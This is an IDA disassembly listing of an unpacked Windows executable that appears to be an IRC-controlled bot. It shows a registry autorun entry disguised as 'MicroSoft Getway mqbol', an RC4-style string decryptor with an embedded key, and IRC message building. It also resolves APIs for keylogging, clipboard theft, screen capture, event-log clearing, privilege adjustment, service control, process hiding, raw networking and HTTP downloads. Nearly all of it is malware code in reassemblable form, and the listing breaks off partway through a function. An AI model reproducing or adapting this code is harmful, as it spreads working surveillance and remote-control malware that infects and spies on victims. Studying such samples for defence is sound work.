;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 8D5032C500AD1B0A106B20183EA4D3A4
; File Name : u:\work\8d5032c500ad1b0a106b20183ea4d3a4_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00402AE7p
; sub_411FA3+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_436050
xor esi, esi
mov ebx, offset aMicrosoftGetwa ; "MicroSoft Getway mqbol"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4452FC
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_414BE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_44536C
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4452AC
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_445324
add edi, 8
cmp edi, offset dword_436068
jl short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_43301C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:004112A7p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_414DB0
mov [esp+10h+var_10], offset dword_436068
push [esp+10h+arg_0]
mov esi, eax
call sub_417050
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_415240
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_416D40
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_415820
push edi
call sub_414C60
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call sub_414BE0
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call sub_417070
push esi
lea eax, [ebp-240h]
push ebx
push eax
call sub_417070
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_401227: ; CODE XREF: ___:00401231j
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_401227
cmp [ebp+14h], ebx
jz short loc_401256
xor eax, eax
loc_40123A: ; CODE XREF: ___:00401252j
cmp edi, [ebp+14h]
jnz short loc_401241
xor edi, edi
loc_401241: ; CODE XREF: ___:0040123Dj
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_40123A
jmp short loc_401270
; ---------------------------------------------------------------------------
loc_401256: ; CODE XREF: ___:00401236j
xor esi, esi
loc_401258: ; CODE XREF: ___:0040126Ej
cmp edi, [ebp-38h]
jnz short loc_40125F
xor edi, edi
loc_40125F: ; CODE XREF: ___:0040125Bj
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_401258
loc_401270: ; CODE XREF: ___:00401254j
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_40127A: ; CODE XREF: ___:004012B4j
mov dl, [ebp+edi-13Ch]
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
mov bl, [ebp+ecx-13Ch]
lea ecx, [ebp+ecx-13Ch]
mov [esi], bl
mov [ecx], dl
jb short loc_40127A
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_401312
loc_4012C3: ; CODE XREF: ___:00401310j
inc edi
and edi, eax
mov dl, [ebp+edi-13Ch]
lea ecx, [ebp+edi-13Ch]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov bl, [ebp+esi-13Ch]
mov [ebp+14h], esi
mov [ecx], bl
lea esi, [ebp+esi-13Ch]
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4012C3
loc_401312: ; CODE XREF: ___:004012C1j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401317 proc near ; DATA XREF: ___:004027A6o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_44621C
call dword_4453E0
call sub_40901C
call dword_4452A0
call dword_4452A0
mov ebx, dword_4DD2CC
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417070
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_417070
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_445200
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 2690000h
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2680000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
nop
call near ptr 267039Fh
test eax, eax
jz short loc_4013DC
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_4DD2BC
call esi
push [ebp+var_C]
call esi
loc_4013DC: ; CODE XREF: sub_401317+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_4451F8
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
sub_401317 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4013FF proc near ; CODE XREF: sub_402EC0+3Dp
; sub_403038+1C2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_4170D0
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_445398
leave
retn
sub_4013FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401445 proc near ; CODE XREF: sub_40219C+40p
; sub_40219C+74p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_401460
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_401460: ; CODE XREF: sub_401445+14j
push edi
call sub_414BE0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_414BE0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS ; "%s"
push esi
push eax
call sub_4172D0
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_4171D0
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_414BE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_445398
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4014DE
push 7D0h
nop
call near ptr 2690599h
locret_4014DE: ; CODE XREF: sub_401445+8Cj
leave
retn
sub_401445 endp
; =============== S U B R O U T I N E =======================================
sub_4014E0 proc near ; CODE XREF: ___:004027DDp
push ebx
push ebp
mov ebp, dword_4DD2DC
push esi
loc_4014E9: ; DATA XREF: ___:0043F2F0o
; ___:0043F300o
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp
mov esi, dword_4DD2D8
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_401600
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4453F4, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov dword_445368, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov dword_44534C, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov dword_44525C, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_445208, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_445238, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4452B0, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4453A8, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_445404, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_445268, eax
call esi
cmp dword_4453F4, ebx
mov dword_445250, eax
jz short loc_4015DE
cmp dword_445368, ebx
jz short loc_4015DE
cmp dword_44534C, ebx
jz short loc_4015DE
cmp dword_44525C, ebx
jz short loc_4015DE
cmp dword_445238, ebx
jz short loc_4015DE
cmp dword_4452B0, ebx
jz short loc_4015DE
cmp dword_4453A8, ebx
jz short loc_4015DE
cmp dword_445404, ebx
jz short loc_4015DE
cmp dword_445268, ebx
jz short loc_4015DE
cmp eax, ebx
jnz short loc_4015E8
loc_4015DE: ; CODE XREF: sub_4014E0+B8j
; sub_4014E0+C0j ...
mov dword_445408, 1
loc_4015E8: ; CODE XREF: sub_4014E0+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov dword_445380, eax
jz short loc_401615
push 1
push ebx
call eax
jmp short loc_401615
; ---------------------------------------------------------------------------
loc_401600: ; CODE XREF: sub_4014E0+1Dj
call near ptr 26908EFh
nop
mov dword_44540C, eax
mov dword_445408, 1
loc_401615: ; CODE XREF: sub_4014E0+117j
; sub_4014E0+11Ej
push offset aUser32_dll ; "user32.dll"
nop
call near ptr 2690610h
mov edi, eax
cmp edi, ebx
jz loc_40172A
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4453A4, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov dword_445354, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4452E8, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4453F8, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_445318, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_445338, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_44539C, eax
call esi
cmp dword_4453A4, ebx
mov dword_445288, eax
jz short loc_4016CE
cmp dword_445354, ebx
jz short loc_4016CE
cmp dword_4452E8, ebx
jz short loc_4016CE
cmp dword_4453F8, ebx
jz short loc_4016CE
cmp dword_445318, ebx
jz short loc_4016CE
cmp dword_445338, ebx
jz short loc_4016CE
cmp dword_44539C, ebx
jz short loc_4016CE
cmp eax, ebx
jnz short loc_4016D8
loc_4016CE: ; CODE XREF: sub_4014E0+1B8j
; sub_4014E0+1C0j ...
mov dword_445410, 1
loc_4016D8: ; CODE XREF: sub_4014E0+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_445314, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_44521C, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4452E4, eax
call esi
cmp dword_445314, ebx
mov dword_4452CC, eax
jz short loc_401735
cmp dword_44521C, ebx
jz short loc_401735
cmp dword_4452E4, ebx
jz short loc_401735
cmp eax, ebx
jnz short loc_40173F
jmp short loc_401735
; ---------------------------------------------------------------------------
loc_40172A: ; CODE XREF: sub_4014E0+144j
nop
call near ptr 26908EFh
mov dword_445414, eax
loc_401735: ; CODE XREF: sub_4014E0+232j
; sub_4014E0+23Aj ...
mov dword_445410, 1
loc_40173F: ; CODE XREF: sub_4014E0+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_4018F8
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4453B8, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4452FC, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_44536C, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_445248, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4452AC, eax
call esi
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_445324, eax
call esi
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4452C8, eax
call esi
cmp dword_4453B8, ebx
mov dword_4452D8, eax
jz short loc_4017E8
cmp dword_4452FC, ebx
jz short loc_4017E8
cmp dword_44536C, ebx
jz short loc_4017E8
cmp dword_445248, ebx
jz short loc_4017E8
cmp dword_4452AC, ebx
jz short loc_4017E8
cmp dword_445324, ebx
jnz short loc_4017F2
loc_4017E8: ; CODE XREF: sub_4014E0+2DEj
; sub_4014E0+2E6j ...
mov dword_445418, 1
loc_4017F2: ; CODE XREF: sub_4014E0+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_44532C, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_445304, eax
call esi
cmp dword_44532C, ebx
mov dword_4453B4, eax
jz short loc_40182D
cmp dword_445304, ebx
jz short loc_40182D
cmp eax, ebx
jnz short loc_401837
loc_40182D: ; CODE XREF: sub_4014E0+33Fj
; sub_4014E0+347j
mov dword_445418, 1
loc_401837: ; CODE XREF: sub_4014E0+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_44533C, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_445224, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov dword_44522C, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_445290, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_445294, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_445240, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_445308, eax
call esi
cmp dword_44533C, ebx
mov dword_445230, eax
jz short loc_4018DB
cmp dword_445224, ebx
jz short loc_4018DB
cmp dword_44522C, ebx
jz short loc_4018DB
cmp dword_445290, ebx
jz short loc_4018DB
cmp dword_445294, ebx
jz short loc_4018DB
cmp dword_445240, ebx
jz short loc_4018DB
cmp dword_445308, ebx
jz short loc_4018DB
cmp eax, ebx
jnz short loc_4018E5
loc_4018DB: ; CODE XREF: sub_4014E0+3C5j
; sub_4014E0+3CDj ...
mov dword_445418, 1
loc_4018E5: ; CODE XREF: sub_4014E0+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov dword_445228, eax
jnz short loc_40190D
jmp short loc_401903
; ---------------------------------------------------------------------------
loc_4018F8: ; CODE XREF: sub_4014E0+26Aj
nop
call near ptr 26908EFh
mov dword_44541C, eax
loc_401903: ; CODE XREF: sub_4014E0+416j
mov dword_445418, 1
loc_40190D: ; CODE XREF: sub_4014E0+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_4019D9
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_445334, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_44538C, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_445394, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_445350, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov dword_44526C, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov dword_445218, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_445390, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_445204, eax
call esi
cmp dword_445334, ebx
mov dword_4452A4, eax
jz short loc_4019E4
cmp dword_44538C, ebx
jz short loc_4019E4
cmp dword_445394, ebx
jz short loc_4019E4
cmp dword_445350, ebx
jz short loc_4019E4
cmp dword_44526C, ebx
jz short loc_4019E4
cmp dword_445218, ebx
jz short loc_4019E4
cmp dword_445390, ebx
jz short loc_4019E4
cmp dword_445204, ebx
jz short loc_4019E4
cmp eax, ebx
jnz short loc_4019EE
jmp short loc_4019E4
; ---------------------------------------------------------------------------
loc_4019D9: ; CODE XREF: sub_4014E0+438j
nop
call near ptr 26908EFh
mov dword_445424, eax
loc_4019E4: ; CODE XREF: sub_4014E0+4B9j
; sub_4014E0+4C1j ...
mov dword_445420, 1
loc_4019EE: ; CODE XREF: sub_4014E0+4F5j
mov ebp, dword_4DD2D0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_401CAA
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4452B8, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4453EC, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_445258, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_445234, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4452F4, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4452DC, eax
call esi
push offset aSocket ; "socket"
push edi
mov dword_4452A0, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4453C8, eax
call esi
push offset aConnect ; "connect"
push edi
mov dword_4453E4, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4452F0, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4453D4, eax
call esi
push offset aHtons ; "htons"
push edi
mov dword_445388, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov dword_445348, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov dword_445344, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov dword_445278, eax
call esi
push offset aSend ; "send"
push edi
mov dword_445270, eax
call esi
push offset aSendto ; "sendto"
push edi
mov dword_445398, eax
call esi
push offset aRecv ; "recv"
push edi
mov dword_4453AC, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_445360, eax
call esi
mov dword_445320, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov dword_445374, eax
call esi
push offset aListen ; "listen"
push edi
mov dword_445330, eax
call esi
push offset aAccept ; "accept"
push edi
mov dword_445370, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4453DC, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov dword_445328, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov dword_4452EC, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_44535C, eax
call esi
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4453CC, eax
call esi
push offset aGetpeername ; "getpeername"
push edi
mov dword_445300, eax
call esi
push offset aClosesocket ; "closesocket"
push edi
mov dword_44529C, eax
call esi
cmp dword_4452B8, ebx
mov dword_4453E0, eax
jz loc_401CB5
cmp dword_4453EC, ebx
jz loc_401CB5
cmp dword_445258, ebx
jz loc_401CB5
cmp dword_4452F4, ebx
jz loc_401CB5
cmp dword_4452DC, ebx
jz loc_401CB5
cmp dword_4452A0, ebx
jz loc_401CB5
cmp dword_4453C8, ebx
jz loc_401CB5
cmp dword_4453E4, ebx
jz loc_401CB5
cmp dword_4452F0, ebx
jz loc_401CB5
cmp dword_4453D4, ebx
jz loc_401CB5
cmp dword_445388, ebx
jz loc_401CB5
cmp dword_445348, ebx
jz loc_401CB5
cmp dword_445344, ebx
jz loc_401CB5
cmp dword_445278, ebx
jz short loc_401CB5
cmp dword_445398, ebx
jz short loc_401CB5
cmp dword_4453AC, ebx
jz short loc_401CB5
cmp dword_445360, ebx
jz short loc_401CB5
cmp dword_445320, ebx
jz short loc_401CB5
cmp dword_445374, ebx
jz short loc_401CB5
cmp dword_445330, ebx
jz short loc_401CB5
cmp dword_445370, ebx
jz short loc_401CB5
cmp dword_4453DC, ebx
jz short loc_401CB5
cmp dword_445328, ebx
jz short loc_401CB5
cmp dword_4452EC, ebx
jz short loc_401CB5
cmp dword_44535C, ebx
jz short loc_401CB5
cmp dword_4453CC, ebx
jz short loc_401CB5
cmp dword_445300, ebx
jz short loc_401CB5
cmp eax, ebx
jnz short loc_401CBF
jmp short loc_401CB5
; ---------------------------------------------------------------------------
loc_401CAA: ; CODE XREF: sub_4014E0+51Fj
nop
call near ptr 26908EFh
mov dword_44542C, eax
loc_401CB5: ; CODE XREF: sub_4014E0+6BEj
; sub_4014E0+6CAj ...
mov dword_445428, 1
loc_401CBF: ; CODE XREF: sub_4014E0+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz loc_401DC4
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_445284, eax
call esi
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_44520C, eax
call esi
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_445310, eax
call esi
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4452BC, eax
call esi
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_44531C, eax
call esi
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4452E0, eax
call esi
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_44524C, eax
call esi
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_445244, eax
call esi
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_445254, eax
call esi
cmp dword_445284, ebx
mov ecx, dword_4452E0
mov dword_44537C, eax
jz short loc_401DA0
cmp dword_44520C, ebx
jz short loc_401DA0
cmp dword_445310, ebx
jz short loc_401DA0
cmp dword_4452BC, ebx
jz short loc_401DA0
cmp dword_44531C, ebx
jz short loc_401DA0
cmp ecx, ebx
jz short loc_401DA0
cmp dword_44524C, ebx
jz short loc_401DA0
cmp dword_445244, ebx
jz short loc_401DA0
cmp dword_445254, ebx
jz short loc_401DA0
cmp eax, ebx
jnz short loc_401DAA
loc_401DA0: ; CODE XREF: sub_4014E0+87Ej
; sub_4014E0+886j ...
mov dword_445430, 1
loc_401DAA: ; CODE XREF: sub_4014E0+8BEj
cmp ecx, ebx
jz short loc_401DDF
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_4452F8, eax
jnz short loc_401DDF
jmp short loc_401DD9
; ---------------------------------------------------------------------------
loc_401DC4: ; CODE XREF: sub_4014E0+7EAj
nop
call near ptr 26908EFh
mov dword_445434, eax
mov dword_445430, 1
loc_401DD9: ; CODE XREF: sub_4014E0+8E2j
mov dword_4452F8, ebx
loc_401DDF: ; CODE XREF: sub_4014E0+8CCj
; sub_4014E0+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp
mov edi, eax
cmp edi, ebx
jz short loc_401E29
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4452D0, eax
call esi
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_445400, eax
call esi
cmp dword_4452D0, ebx
mov dword_445260, eax
jz short loc_401E34
cmp dword_445400, ebx
jz short loc_401E34
cmp eax, ebx
jnz short loc_401E3E
jmp short loc_401E34
; ---------------------------------------------------------------------------
